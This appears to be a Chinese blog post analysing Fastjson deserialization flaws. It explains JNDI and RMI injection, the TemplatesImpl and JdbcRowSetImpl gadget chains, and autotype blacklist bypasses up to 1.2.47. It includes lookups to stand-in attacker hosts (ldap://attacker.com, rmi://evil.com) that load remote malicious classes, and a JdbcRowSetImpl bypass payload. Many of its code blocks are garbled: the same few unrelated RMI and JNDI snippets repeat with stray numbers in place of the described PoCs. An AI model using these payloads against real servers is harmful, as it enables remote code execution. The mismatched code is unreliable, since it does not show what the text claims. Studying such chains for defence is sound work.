Fastjson jdbcRowSetImpl链及后续漏洞分析
在jdbcRowSetImpl中会用到jndi和rmi的知识
具体请见:https://mp.weixin.qq.com/s/wYujicYxSO4zqGylNRBtkA
素十八大佬对RMI流程的源码进行了深入分析:https://su18.org/post/rmi-attack/
本文源码分析均可跳过
RMI
拥有远程方法的类必须实现Remote接口,且该类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,可以调用UnicastRemoteObject.exportObject()手工初始化,比如:
public class HelloImpl implements IHello {
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) {
System.out.println(name);
return name;
}
}
其中 继承了Remote类的IHello接口 是客户端和服务端共用的接口。因为客户端指定调用的远程方法,它的全限定名必须和服务器上的完全相同
- RMI通信过程:
其中存根stub是客户端的代理,骨架skeleton是服务器代理
创建远程对象。ServiceImpl service = new ServiceImpl();
注册远程对象。Naming.bind("rmi:127.0.0.1:1099/service",service);(service为ServiceImpl定义的远程对象)
客户端访问服务器并查找远程对象。包括两个步骤:
①用interface定义要查找的远程对象,在第四步作为引用:ServiceInterface service = (ServiceInterface);
②查找远程对象。Naming.lookup("rmi://127.0.0.1:1099/service")
Registry返回服务器对象存根。也就是把远程对象service作为自己的service(引用),称为stub
调用远程方法。比如String rep = service.cxk("ctrl");
客户端存根和服务器骨架通信
骨架代理调用service.cxk("ctrl");,实际上是在Server端调用的
骨架把结果返回给存根
存根把结果返回给客户端
其中存根stub在客户端,skeleton是服务端本身的远程对象(service本尊)
注册远程对象一般是:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
然后客户端利用LocateRegistry.getRegistry()本地创建Stub作为Registry远程对象的代理。然后利用lookup根据名称查找某个远程对象,来获取该远程对象的Stub:
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
动态类加载
在本地找不到类时,会从远程URL去下载。比如服务端返回的对象是一些子类的对象实例,但是客户端上并没有其子类的class文件,如果客户端要用到这些子类中的方法,则需要允许其动态加载其他类的能力。
所以客户端使用了Registry的机制,RMIServer把url传递给客户端,客户端通过HTTP下载类。
JNDI
JNDI用来定位资源。JNDI每个对象都有唯一的名字与其对应,可以通过名字检索对象
JNDI接口初始化时,可以将RMI URL作为参数,JNDI注入漏洞出现在客户端的lookup()函数。
如下用JNDI进行lookup:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
其中InitialContext类作为JNDI命名服务的入口点,该类实现了Context接口。InitialContext构造函数需要为Hashtable或者其子类。初始化时要指定上下文环境,通常是JNDI工厂和JNDI的url和端口。比如这里是RMI服务,就指定RMI的工厂和url
该种初始化方式利用了哈希表,其实也可以直接设置value值:
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
InitialContext ctx = new InitialContext();
JNDI提供的服务:
Java Naming 命名服务。进行命名,也就是键值对的绑定
Java Directory 目录服务。目录服务的对象可以有属性,在目录服务中可以根据属性检索对象
ObjectFactory 对象工厂。将Naming Service(如RMI)中存储的数据转化为Java中可表达的数据。
JNDI注入就是远程下载自定义的ObjectFactory类
在JNDI中提供了bind绑定和lookup检索对象。lookup通过名字进行检索
RMI绑定的对象和JNDI绑定对象的区别
1.纯RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口。JNDI设置时需要预先指定其上下文环境如指定为RMI服务,最后再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中
2.纯RMI实现中是调用java.rmi包内的lookup()方法来检索。JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索
Reference类
Reference类表示对存在于Naming/Directory之外的对象引用
对象可以通过Reference存储在Naming或者Directory服务下。有师傅可能会问,javax.naming.InitialContext.bind()不就是绑定对象了吗,但是RMI绑定的对象为本地远程对象(在本地项目文件内),Reference可以远程加载类(file/ftp/http等协议),并且实例化
java中的对象分本地对象和远程对象,本地对象默认可信任。远程对象根据安全管理器划分到不同的域,而拥有不同的权限
不过JNDI有两种安全控制方式,对JNDI SPI层,RMI\LDAP\CORBA的控制方式不同
远程加载类权限 安全管理器强制实施 RMI java.rmi.server.userCodebaseOnly=false(JDK>7u21=true) Always LDAP com.sun.jndi.ldap.object.trustURLCodebase=true(默认flase) 非强制 CORBA always
JNDI协议动态转换
有的时候你指定了RMI服务,但是在使用的时候用到LDAP服务的绑定对象。可以直接指定协议,在lookup()、search()会访问LDAP服务的对象而非RMI(那设置工厂有什么意义?其实设置工厂是为了bind()对象到RMI服务,至于search、lookup这种工作不局限于RMI,所以就动态转换了。
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
在lookup()的源码也可以看到,getURLOrDefaultInitCtx()尝试获取对应协议的上下文环境
JNDI注入
利用JNDI References进行注入(RMI)
RMI Server除了可以直接绑定远程对象外(先new后bind),还能通过References类来直接绑定外部远程对象。
当绑定在RMI注册表中的Reference,指向恶意远程class文件。并且JNDI客户端lookup()参数可控(或者Reference指定远程类参数可控),能实现RCE
攻击原理:
- 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj;
- 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/;
- 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "evil-cb.com/"));
- 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 evil-cb.com/EvilObject.class;
- 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
- 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;
- 示例:
JNDIClient:
public class JNDIClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(rmi://127.0.0.1:1099/refObj);
}
}
RMIServer:
RMI绑定的远程对象需要继承UnicastRemoteObject类并实现Remote接口,ReferenceWrapper类就符合条件。用ReferenceWrapper对Reference进行封装。
public class RMIService {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);//Registry写在server里
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
其中Reference构造函数的第一个参数是在本地查找EvilObject类,如果没有,就从http://127.0.0.1:8080/搜索第二个参数名的EvilObject类
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
服务端Reference classFactoryLocation可控
在Reference构造函数中的第三个参数,远程加载类的URL地址,称为classFactoryLocation。
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
因为在服务端,所以这种情况很少见。
如下Server:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
0
可以看到uri可控,当指向攻击者自己的web服务器,攻击者将EvilClassFactory恶意类放到自己的web服务器下 uri路径。RMI客户端通过JNDI查询绑定的类时,会远程加载恶意类造成命令执行
客户端lookup参数可控
如JNDI客户端lookup()接收外部可控参数:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
1
攻击者可以传入恶意URI地址指向攻击者的RMIRegistry,构造恶意RMIServer,自然也能构造RMI注册表的恶意类。比如攻击者搭建的恶意AServer(图方便注册表和server一起写)
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
2
在服务端写恶意EvilClass,或者URL目录下(test/)写恶意EvilClassFactory都能造成远程代码执行。
此时向lookup传指向恶意Server的参数:rmi://127.0.0.1:1688/exp
小细节:当使用lookup指定rmi服务来搜寻类时,搜寻到的类需要满足远程类的要求:继承UnicastRemoteObject并实现Remote接口
造成该漏洞需要 能实现动态转换uri的InitialContext.lookup()
RMI调用了该函数的类有:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
3
LDAP调用了该函数的类有:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
4
在反序列化漏洞的利用过程中,也可以在readObject寻找可被外部控制的lookup()方法,来触发反序列化漏洞
利用JNDI References进行注入(LDAP)
JNDI对接LDAP服务时,除了lookup时指定LDAP地址:ldap://xxx外没什么区别。但是由于上面提到的安全管理器,LDAP不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,加上新加入了com.sun.jndi.ldap.object.trustURLCodebase,所以利用版本不同。
这里总结一张JNDI注入对版本要求的表:
JNDI服务 | 需要的安全属性值 | version | 备注 |
---|---|---|---|
RMI | java.rmi.server.useCodebaseOnly==false | jdk>=6u45、7u21 true | true时禁用自动远程加载类 |
RMI、CORBA | com.sun.jndi.rmi.object.trustURLCodebase==true | jdk>=6u141、7u131、8u121 false | flase禁止通过RMI和CORBA使用远程codebase |
LDAP | com.sun.jndi.ldap.object.trustURLCodebase==true | jdk>=8u191、7u201、6u211 、11.0.1 false | false禁止通过LDAP协议使用远程codebase |
JNDI lookup()解析
java.naming.InitialContext.java#lookup():
持续跟进lookup到com.sun.jndi.rmi.registry.RegistryContext.class,lookup:lookup获取RMI服务器上的对象引用,赋值给var2(拷贝对象到注册表)
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
5
随后执行decodeObject:
decodeObject会判断RMIServer绑定的类是否为RemoteReference的子类(var1),是的话用getReference()获取Reference类,赋值给var3
随后执行NamingManager.getObjectInstance(),在此函数内执行了getObjectFactoryReference
跟进getObjectFactoryReference():可以看到第一个try并没有用到codebase,意味着首先是在本地寻找类,如果没有才执行第二个try加载codebase上的远程类。最后用newInstance()实例化
clas=helper.loadClass(factoryName)采用反射的方式获取类名。在if判断里根据Reference的ClassName和codebase(如rmi://ip:port/)来加载factory类
Fastjson前置知识
Fastjson使用
pom.xml添加fastjson依赖,jdbcRowSetImpl链需要fastjson<=1.2.24
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
6
可以利用JSON.toJSONString()将对象序列化为json字符串。
反序列化:JSON.parseObject()、JSON.parse
parseObject()返回fastjson.JSONObject类,而parse返回类User
在parseObject构造函数指定为Object类,可以起到parse的作用
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
7
- @type参数指定反序列化后的类名,然后自动调用该类的setter、getter以及构造函数
如果不知道getter,setter,可以看一下javaBean:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
测试:
恶意类Evil:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
8
server:
springboot起的服务器,记得导入依赖:
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://x.x.x.x:1099/hello",rhello);
9
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
0
@RestController的意思就是controller里面的方法都以json格式输出
@RequestMapping注解在FastVuln1方法处,表示映射类到url路径fast1,能处理所有HTTP请求
@RequestParam注解在String cmd参数处,表示接收URL中的cmd参数,接收不到会报错
注解:https://www.cnblogs.com/tomingto/p/11377138.html
向url:http://localhost:xxx/fast1 POST传参 payload:user = {"@type":"org.example.Evil","cmd":"calc"}
我用get方式传参出现了错误,会报The valid characters are defined in RFC 7230 and RFC 3986异常,url中不允许包含@或者一些其他的特殊字符
fastJson默认不反序列化私有属性,parseObject加上Feature.SuppertNonPublicField对私有属性进行反序列化
getter、setter 源码分析
在javaBeanInfo#build()方法,利用反射将 反序列化后@type指定类 的方法、属性、构造器存入buildClass,declaredFields数组和method数组
buile()方法里面还有if 判断构造函数是否存在&&传入类是否为抽象类或者接口
下面看对method的判断(也就是setter的定义)
方法名开头是否为set
- 方法名长度不能小于4
- 不能是静态方法
- 返回的类型必须是void 或者是自己本身
- 传入参数个数必须为1
- 方法开头必须是set
在if(methodName.startWith("set"))内,charAt(3)返回method第四个字符,根据ascii码进行截断
如果经过截断还是找不到属性或者为Boolean,就在截断后的变量前加is,然后对相应字符大写进行拼接,然后重新寻找属性
最后将相应属性方法等内容添加到fieldInfo
getter的判断也差不多,直接给出要求:
- 方法名长度不小于4
- 不能是静态方法
- 方法名要get开头同时第四个字符串要大写
- 方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
- 传入的参数个数需要为0
fastJson TemplatesImpl链
版本:fastjson 1.2.22-1.2.24
TemplatesImpl链构造的恶意类为Object,但是在fastJson序列化中,只有两种方式能接收Object类(并且要设置Feature.SupportNonPublicField,恢复private属性),但是在1.2.22才出现该属性,1.2.24后又加了很多黑名单和白名单
我们构造的PoC中有private的成员变量_bytecodes和_name
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
1
TemplatesImpl链有两种,一种是newTransformer()作为入口;一种是getOutputProperties()作为入口,这里用到的是第二种
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
2
POC如下:
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
3
poc1类用来构造恶意字节码。ClassPool.getDefult()获取默认类池后,创建类Evil
设置要继承的类
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
4创建一个空的类初始化器(静态构造函数)
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
5向构造函数里加入cmd,也就是exec函数
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
6设置加载AbstractTranslet类的搜索路径
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
7将编译的类创建为.class 文件
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
8
- TemplatesImpl加载的字节码必须为AbstractTranslet子类,因为defineTransletClasses里会对传入类进行一次判断
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
9
构造好的Evil类转为字节码后base64就能传入_bytecodes[]了
String PoC经过JSON.parseObject序列化后约为(因为设置不了私有属性的缘故,这里定义了一个setFieldValue方法模拟):
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
0
_tfactory也可以传入new TransformerFactoryImpl(),_tyfactory为空的话会根据类属性自动创建TransformerFactoryImpl实例,但是只有用fastjson/serializer进行序列化的时候可以不传入
因为有去除下划线的操作,属性都能加上_。指定了allowedProtocols=all,也就是序列化支持的协议
弹计算器图:
关于fastjson反序列化调用javaBean的setter、getter、构造函数请看http://wjlshare.com/archives/1512(不过我不看
- 源码大致原理:
json序列化入口:JSON.parseObject(),转到DefaultJSONParser.parseObject(),该方法下的一个if判断,key==JSON.DEFAULT_TYPE_KEY 同时 没有开启Feature.DisableSpecialKeyDetect 就会进入判断,利用loadClass,加载类对象
ParserConfig.getDeserializer()经过一系列的判断,由于TemplatesImpl类都不在if判断的条件范围内,所以会创建一个JavaBeanDeserializer。都获取到了对应的反序列化器之后,正式开始进行反序列化。
JavaBeanDeserializer.parseField() 方法中利用smartMatch对我们传入的属性进行了模糊匹配
然后调用getFieldDeserializer,在sortedFieldDeserializers 中找到getOutputProperties 方法,并且进行返回
然后调用反射触发getOutputProperties,进而转到TemplatesImpl链
fastjson1.2.24修复
在DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass方法替换为了this.config.checkAutoType()方法。并在此方法增加了白名单+黑名单,以下类传入parseObject都会被禁
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
1
fastjson jdbcRowSetImpl链
版本:fastjson<=1.2.24
刚才讲的fastJson TemplatesImpl链需要设置Feature.SupportNonPublicField。条件太过苛刻。
POC:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
2
RMI Server:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
3
恶意类Evil:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
4
- 源码大致分析:
反序列化入口也就是JSON.parse()
自动调用@type指定类的setter,这里指定的类为com.sun.rowset.JdbcRowSetImpl,在该类下有setAutoCommit()方法:
setAutoCommit方法调用了connect函数,在connect函数中,可以看到jndi的初始化InitialContext(),然后lookup(this.getDataSourceName())。如果这里的dataSource是可控的(这里可以直接设置dataSourceName),就能触发jndi注入
1.TemplatesImpl 链
- 优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功)
- 缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
2.JdbcRowSetImpl 链
- 优点:利用范围更广,触发更为容易
- 缺点:当fastjson 不出网的话这个方法基本上不行(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址
fastjson后续修复
- 自从1.2.25 起 autotype 默认关闭
- 增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制
黑名单扩充了:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
5
- 1.2.25-1.2.41 poc
由于autotype默认关闭,在poc之前开启autotype:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
6
在新增的checkAutoType,指向的TypeUtils.loadClass()方法对传入类进行了过滤,开头为[ or 开头为L结尾为;会去除
poc:{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}
由于L开头无法加载类,这里只能用[
- 1.2.42 poc
在该fastjson版本,将checkAutoType换为了hash校验,对类的第一位和最后一位进行哈希(第一位为L,最后一位为;),这里只去除了一次,可以双写
将方法hash后与denyHashCodes(黑名单hash表)对比
看起来修复了,其实加密hash所用的算法能通过源码看到:
将类添加至字典addDeny: 可以看到使用的加密方法为TypeUtils.fnv1a_64()
fnv1a_64():
github项目,用hash碰撞求出黑名单hash对应的类:https://github.com/LeadroyaL/fastjson-blacklist。结果发现,,并没有JdbcRowSetImpl
poc也只用加双写L ;
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
7
1.2.43修复:对双写进行了过滤
1.2.45修复:扩充黑名单
fastjson1.2.25-1.2.47通杀
POC:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://www.0kai0.cn:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://www.0kai0.cn:8080/test");
8
该poc无视checkAutoType,还记得checkAutoType里将方法hash与黑名单hash对比吗,&&后面还加入了getClassFromMapping()==null判断
- 源码分析:
DefaultJSONParser#parser中调用了MiscCodec#deserialze方法
在MiscCodec中对类进行了判断,如果为java.lang.Class类,会调用TypeUtils#loadClass来加载恶意类,所以传入类需要为java.lang.Class
在不传入java.lang.Class的loadClass:
可以看到cache值为false
在MiscCodec中调用的loadClass并未传入cache值,而该值默认true。所以顺利进入if(cache)判断里,将(className,clazz) put进mappings。
这个时候回到最开始的getClassFromMapping()==null,返回false,就绕过了黑名单检测
1.2.48修复:将cache默认设置为false
参考:http://wjlshare.com/archives/1526
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/
还没有评论,来说两句吧...